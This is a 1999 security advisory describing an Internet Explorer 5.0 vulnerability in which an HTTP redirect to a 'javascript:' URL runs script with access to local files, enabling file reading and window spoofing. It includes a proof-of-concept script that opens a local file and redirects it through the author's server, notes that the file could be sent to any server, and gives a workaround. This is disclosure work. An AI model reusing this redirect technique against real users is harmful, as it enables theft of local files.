IE 5.0 allows reading local (and from any domain) files and window
spoofing using HTTP redirection to "javascript:" 

Disclaimer:  The opinions expressed in this advisory and program are my
own and not of any company.  The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this program.  Georgi Guninski, bears NO responsibility for
content or misuse of this program or any derivatives thereof. 

Description:

Internet Explorer 5.0 under Windows 95 and WinNT 4.0 (suppose Win98 is
vulnerable)  allows reading local files and text/HTML files from any
domain. Window spoofing is possible.  It is also possible in some cases to
read files behind fiewall. 

Details:

The problem is a HTTP redirect to "javascript:" URLs.  If you open a local
file and the change its location to an URL that redirects to
"javascript:JavaScript code"  then the JavaScript code is executed in the
security context of the original local file and has access to its DOM. 
The local file may be sent to an arbitrary server.  In a similar way one
may do window spoofing.  This vulnerability may be exploited using HTML
email message or a newsgroup posting. 

The code is:
----------------------------------------------------------------------------------------
<SCRIPT>
alert("Create a short text file C:\\TEST.TXT and it will be read and
shown in a dialog box");
a=window.open("file://c:/test.txt");
a.location="http://www.nat.bg/~joro/reject.cgi?jsredir1";
</SCRIPT>
// "http://www.nat.bg/~joro/reject.cgi?jsredir1" just does a HTTP
redirect to: "javascript:alert(document.body.innerText)"
----------------------------------------------------------------------------------------


Workaround:
Disable Active Scripting

Demonstration is available at http://www.nat.bg/~joro/jsredir1.html

Copyright 1999 Georgi Guninski

Regards,
Georgi Guninski
http://www.nat.bg/~joro